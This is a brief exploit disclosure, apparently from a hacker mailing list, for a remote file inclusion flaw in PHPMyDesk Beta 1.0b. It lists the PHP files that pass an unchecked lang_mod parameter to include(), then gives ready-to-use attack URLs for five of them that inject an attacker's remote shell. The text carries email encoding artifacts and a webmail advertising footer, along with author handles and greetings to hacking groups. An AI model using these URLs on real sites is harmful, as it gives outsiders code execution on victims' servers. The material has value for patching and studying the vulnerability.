script:PHPMyDesk Beta Release 1.0b =3D=3D> RFI
dir url:http://www.cynux.com/phpmydesk/
author: titanichacker
contact:the-modest-pirate@hotmail.com
H.P : http://hack-teach.com & mohandko.com & tryag.com
bug in:
../index.php
include($lang_mod);
../login.php
include($lang_mod);=20
../logout.php
include($lang_mod);
../subticket.php
include($lang_mod);
../viewall.php
include($lang_mod);
../viewticket.php
include($lang_mod);
exploit:
httpL//victim/index.php?lang_mod=3D[shell]
httpL//victim/login.php?lang_mod=3D[shell]
httpL//victim/logout.php?lang_mod=3D[shell]
httpL//victim/viewall.php?lang_mod=3D[shell]
httpL//victim/viewticket.php?lang_mod=3D[shell]
thanx
cold-zero & mohandko & drbaka & arb-hawk & tryag & xp10 & milw0rm
_________________________________________________________________
Play free games, earn tickets, get cool prizes! Join Live Search Club.=A0
http://club.live.com/home.aspx?icid=3DCLUB_wlmailtextlink=